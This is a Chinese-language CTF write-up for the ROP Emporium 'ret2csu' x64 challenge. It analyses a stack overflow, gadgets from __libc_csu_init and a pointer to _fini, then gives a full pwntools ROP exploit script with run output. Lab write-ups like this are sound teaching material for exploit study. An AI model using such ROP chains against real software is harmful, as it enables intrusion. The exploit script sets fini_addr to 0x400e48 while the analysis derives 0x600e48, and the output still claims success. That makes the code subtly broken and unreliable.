Challenge8_ret2csu

ret2csu

题目链接:https://ropemporium.com/challenge/ret2csu.html

参考博客:https://blog.csdn.net/Ga4ra/article/details/123791650

x64

根据题目名称以及给出的提示,明显我们需要使用ret2csu,有关ret2csu的知识移步《看雪pwn入门篇》或者直接百度。这里我们还是按照常规思路来分析下。

首先查看程序保护情况:

1
2
3
4
5
6
7
8
$ checksec ./ret2csu 
[*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level8_ret2csu/64/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: '.'

可以看到程序开启了NX保护。

接着我们使用radare2来查看程序中的函数信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ r2 -A ./ret2csu 
[0x00400520]> afl
0x00400520 1 42 entry0
0x004004d0 3 23 sym._init
0x004006b4 1 9 sym._fini
0x00400560 4 37 sym.deregister_tm_clones
0x00400590 4 55 sym.register_tm_clones
0x004005d0 3 29 sym.__do_global_dtors_aux
0x00400600 1 7 sym.frame_dummy
0x00400617 1 27 sym.usefulFunction
0x00400510 1 6 sym.imp.ret2win
0x004006b0 1 2 sym.__libc_csu_fini
0x00400640 4 101 sym.__libc_csu_init
0x00400550 1 2 sym._dl_relocate_static_pie
0x00400607 1 16 main
0x00400500 1 6 sym.imp.pwnme

可以看到,pwnme和ret2win这次在链接库中,我们先来查看下usefulFunction函数:

1
2
3
4
5
6
7
8
9
[0x00400520]> s sym.usefulFunction 
[0x00400617]> pdg

void sym.usefulFunction(void)

{
sym.imp.ret2win(1, 2, 3);
return;
}

可以看到,usefulFunction函数调用了链接库中的ret2win函数,这里一开始我觉的没什么用,后来想了想,正是由于这里调用了ret2win,我们才能直接在后续构造ROP链的时候,通过elf.plt['ret2win']来实现对ret2win函数的调用,而不用泄露libc的地址。

我们接着进入链接库中,查看pwnme和ret2win:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ r2 -A ./libret2csu.so 
[0x00000860]> s sym.pwnme
[0x0000093a]> pdg

void sym.pwnme(void)

{
ulong buf;

sym.imp.setvbuf(*_reloc.stdout, 0, 2, 0);
sym.imp.puts(0xc88);
sym.imp.puts(0xca0);
sym.imp.memset(&buf, 0, 0x20);
sym.imp.puts(0xca8);
sym.imp.printf(0xd12);
sym.imp.read(0, &buf, 0x200);
sym.imp.puts(0xd15);
return;
}

我们可以看到read处存在栈溢出,并且溢出空间比较大。ret2win函数我们使用IDA来查看,IDA相比radare2还是要更直观一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn ret2win(__int64 a1, __int64 a2, __int64 a3)
{
FILE *stream; // [rsp+20h] [rbp-10h]
FILE *streama; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]

if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
{
stream = fopen("encrypted_flag.dat", "r");
if ( !stream )
{
puts("Failed to open encrypted_flag.dat");
exit(1);
}
g_buf = (char *)malloc(0x21uLL);
if ( !g_buf )
{
puts("Could not allocate memory");
exit(1);
}
g_buf = fgets(g_buf, 33, stream);
fclose(stream);
streama = fopen("key.dat", "r");
if ( !streama )
{
puts("Failed to open key.dat");
exit(1);
}
for ( i = 0; i <= 31; ++i )
g_buf[i] ^= fgetc(streama);
*(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
*(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
*(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
puts(g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}

可以看到,ret2win函数需要三个参数0xdeadbeefdeadbeef 0xcafebabecafebabe 0xd00df00dd00df00d,然后解密文件,输出flag。

看到这里我们的大致思路就有了。

  • 通过pop rdi,rsi,rdx或者mov rdi等这类的gadgets来传递参数
  • 覆盖返回地址为ret2win@plt地址来调用函数,获取gadgets

接下来就是找gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ROPgadget --binary ret2csu --only "pop|ret"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret

Unique gadgets found: 11

这里我们可以看到,并没有对rdx操作的寄存器,我们在pwndbg中再查找下:

1
2
pwndbg> rop --grep 'rdx'
0x00000000004004dd : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

这里也没有找到有用的gadget,当我们缺少传递参数的gadgets时,我们就要用到ret2csu方法,这个方法能够实现万能传参。

我们来具体查看下这段gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ objdump -M intel -dj .text ./ret2csu
···
0000000000400640 <__libc_csu_init>:
···
400680: 4c 89 fa mov rdx,r15
400683: 4c 89 f6 mov rsi,r14
400686: 44 89 ef mov edi,r13d
400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40068d: 48 83 c3 01 add rbx,0x1
400691: 48 39 dd cmp rbp,rbx
400694: 75 ea jne 400680 <__libc_csu_init+0x40>
400696: 48 83 c4 08 add rsp,0x8
40069a: 5b pop rbx
40069b: 5d pop rbp
40069c: 41 5c pop r12
40069e: 41 5d pop r13
4006a0: 41 5e pop r14
4006a2: 41 5f pop r15
4006a4: c3 ret

我们主要用到的就是__libc_csu_init函数的这部分,这部分又常拆分为两部分用,40069a用来向寄存器传递值,400680用来向参数寄存器传递参数。

结合我们的思路,我们用ret2csu来构造的ROP如下:

1
2
3
4
5
6
7
8
9
10
11
0x40069a	#pop rbx; rbp; r12; r13; r14; r15; ret
0 #rbx
1 #rbp
r12 #call [r12]
r13 #mov edi,r13d
r14 #mov rsi,r14
r15 #mov rdx,r15
0x400680 #mov
pop rdi
argv_rdi
ret2win@plt

这里我们需要注意的有两点:

第一:这里操作的是edi,也就是只对rdi的低32位进行了赋值,而我们传递的参数高32位也是有值的,所以,我们还需要再通过一个对rdi操作的gadget来传递完整的参数。

我们从上边的gadgets可以找到:0x00000000004006a3 : pop rdi ; ret

第二:由于我们这里不需要泄露libc的地址,并且rbx=0,所以这里的指令 call [r12],需要一个能ret的函数,而且这个函数内部不能有影响堆栈平衡和寄存器值的指令。注意,填在r12处的地址需要解引用,类似got这样的跳转表,我们不能直接填入函数地址。

pwndbg工具提供了telescope命令,翻译为望远镜很形象:

1
2
pwndbg> help telescope
Recursively dereferences pointers starting at the specified address

除了got,dynamic,init_array,fini_array这几个section也可以试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ readelf -S ret2csu
There are 29 section headers, starting at offset 0x1930:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
...
[18] .init_array INIT_ARRAY 0000000000600df0 00000df0
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600df8 00000df8
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600e00 00000e00
00000000000001f0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000028 0000000000000008 WA 0 0 8
pwndbg> telescope 0x0000000000600df0 2 # init_array + fini_array
00:0000│ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp
01:0008│ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0
pwndbg> telescope 0x0000000000600e00 62 # dynamic
00:0000│ 0x600e00 (_DYNAMIC) ◂— 0x1
... ↓ 2 skipped
...
07:0038│ 0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) ◂— sub rsp, 8 !!!!!!!!!!!!!
08:0040│ 0x600e40 (_DYNAMIC+64) ◂— 0xd /* '\r' */
09:0048│ 0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini) ◂— sub rsp, 8 !!!!!!!!!!!!!
0a:0050│ 0x600e50 (_DYNAMIC+80) ◂— 0x19
0b:0058│ 0x600e58 (_DYNAMIC+88) —▸ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp !!!!!!!!!!!!!!
...
0f:0078│ 0x600e78 (_DYNAMIC+120) —▸ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0
...
13:0098│ 0x600e98 (_DYNAMIC+152) —▸ 0x400298 ◂— add eax, dword ptr [rax]
14:00a0│ 0x600ea0 (_DYNAMIC+160) ◂— 0x5
15:00a8│ 0x600ea8 (_DYNAMIC+168) —▸ 0x4003c0 ◂— add byte ptr [rcx + rbp*2 + 0x62], ch
16:00b0│ 0x600eb0 (_DYNAMIC+176) ◂— 0x6
17:00b8│ 0x600eb8 (_DYNAMIC+184) —▸ 0x4002d0 ◂— add byte ptr [rax], al
...
pwndbg> telescope 0x0000000000600ff0 7
00:0000│ 0x600ff0 —▸ 0x7ffff7800ba0 (__libc_start_main) ◂— push r13
01:0008│ 0x600ff8 ◂— 0x0
02:0010│ 0x601000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600e00 (_DYNAMIC) ◂— 0x1
03:0018│ 0x601008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
04:0020│ 0x601010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dea820 (_dl_runtime_resolve_xsave) ◂— push rbx
05:0028│ 0x601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x400506 (pwnme@plt+6) ◂— push 0 /* 'h' */
06:0030│ 0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x400516 (ret2win@plt+6) ◂— push 1

通过telescope命令,我们可以得到如下:

1
2
3
4
0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy)
0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux)
0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init)
0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini)

init_array_start函数是ELF程序的一个初始化函数,运行它一般不会对栈造成影响,但这里却改变了rsi的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00000000000008a0 <register_tm_clones>:
8a0: 48 8d 3d d1 17 20 00 lea rdi,[rip+0x2017d1] # 202078 <_edata>
8a7: 48 8d 35 ca 17 20 00 lea rsi,[rip+0x2017ca] # 202078 <_edata>
8ae: 55 push rbp
8af: 48 29 fe sub rsi,rdi !!!!!!!!!!!!!!!!!!!!!!!!
8b2: 48 89 e5 mov rbp,rsp
8b5: 48 c1 fe 03 sar rsi,0x3 !!!!!!!!!!!!!!!!!!!!!!!!
8b9: 48 89 f0 mov rax,rsi
8bc: 48 c1 e8 3f shr rax,0x3f
8c0: 48 01 c6 add rsi,rax !!!!!!!!!!!!!!!!!!!!!!!!
8c3: 48 d1 fe sar rsi,1 !!!!!!!!!!!!!!!!!!!!!!!!

...
0000000000000930 <frame_dummy>:
930: 55 push rbp
931: 48 89 e5 mov rbp,rsp
934: 5d pop rbp
935: e9 66 ff ff ff jmp 8a0 <register_tm_clones>

我们再来看下_init_fini,其实这两个也就是段.init.fini里的函数:

1
2
3
4
5
6
pwndbg> disass _fini
Dump of assembler code for function _fini:
0x00000000004006b4 <+0>: sub rsp,0x8
0x00000000004006b8 <+4>: add rsp,0x8
0x00000000004006bc <+8>: ret
End of assembler dump.

为了节省篇幅,这里就不看_init了,有兴趣可以自己反汇编看一下。

我们可以看到_fini函数满足我们的要求:不影响堆栈平衡和寄存器的值

所以,根据引用关系:

1
0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini)

r12寄存器处应该填0x600e48,而不是0x4006b4

我们所需的所有东西都准备齐了,ROP chain对应的payload如下:

1
2
3
4
5
6
7
8
payload = offset*b'A'
payload+= p64(0x40069a) #pop rbx;rbp;r12;r13;r14;r15
payload+= p64(0)+p64(1)+p64(fini_addr)+p64(0)+p64(0xcafebabecafebabe)+p64(0xd00df00dd00df00d)
payload+= p64(0x400680) #mov
payload+= p64(0)*7
payload+= p64(pop_rdi_addr)
payload+= p64(0xdeadbeefdeadbeef)
payload+= p64(ret2win)

对应的栈结构如图所示:

image-20230321202753801

这里需要注意的一点是,我们在看雪pwn入门中,第一个返回地址后跟了一个填充字节,其实与我们具体的gadget有关,这段gadgets不是固定的,所以我们要根据具体的gadgets来做相应的调整,但是总体思路不变。

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: utf-8 -*-

from pwn import *
context.arch = 'amd64'
context.os = 'linux'

p = process('./ret2csu')
e = ELF('./ret2csu')

ret2win = e.plt['ret2win']
fini_addr = 0x400e48

# gadgets:
# 400680: 4c 89 fa mov rdx,r15
# 400683: 4c 89 f6 mov rsi,r14
# 400686: 44 89 ef mov edi,r13d
# 400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
# 40068d: 48 83 c3 01 add rbx,0x1
# 400691: 48 39 dd cmp rbp,rbx
# 400694: 75 ea jne 400680 <__libc_csu_init+0x40>
# 400696: 48 83 c4 08 add rsp,0x8
# 40069a: 5b pop rbx
# 40069b: 5d pop rbp
# 40069c: 41 5c pop r12
# 40069e: 41 5d pop r13
# 4006a0: 41 5e pop r14
# 4006a2: 41 5f pop r15
# 4006a4: c3 ret
pop_rdi_addr = 0x4006a3
# 4006a3 : pop rdi ; ret
#rbx=0
#rbp=1
#rdx=r15
#rsi=r14
#edi=r13d(第一个参数,缺少高32bit)
#r12 返回地址,call指令调用的函数引用

offset = 40
payload = offset*b'A'
payload+= p64(0x40069a) #pop rbx;rbp;r12;r13;r14;r15
payload+= p64(0)+p64(1)+p64(fini_addr)+p64(0)+p64(0xcafebabecafebabe)+p64(0xd00df00dd00df00d)
payload+= p64(0x400680) #mov
payload+= p64(0)*7
payload+= p64(pop_rdi_addr)
payload+= p64(0xdeadbeefdeadbeef)
payload+= p64(ret2win)

p.sendline(payload)
p.interactive()

最终执行结果如下:

1
2
3
4
5
6
7
8
9
10
ret2csu by ROP Emporium
x86_64

Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2csu' stopped with exit code 0 (pid 23048)
[*] Got EOF while reading in interactive
$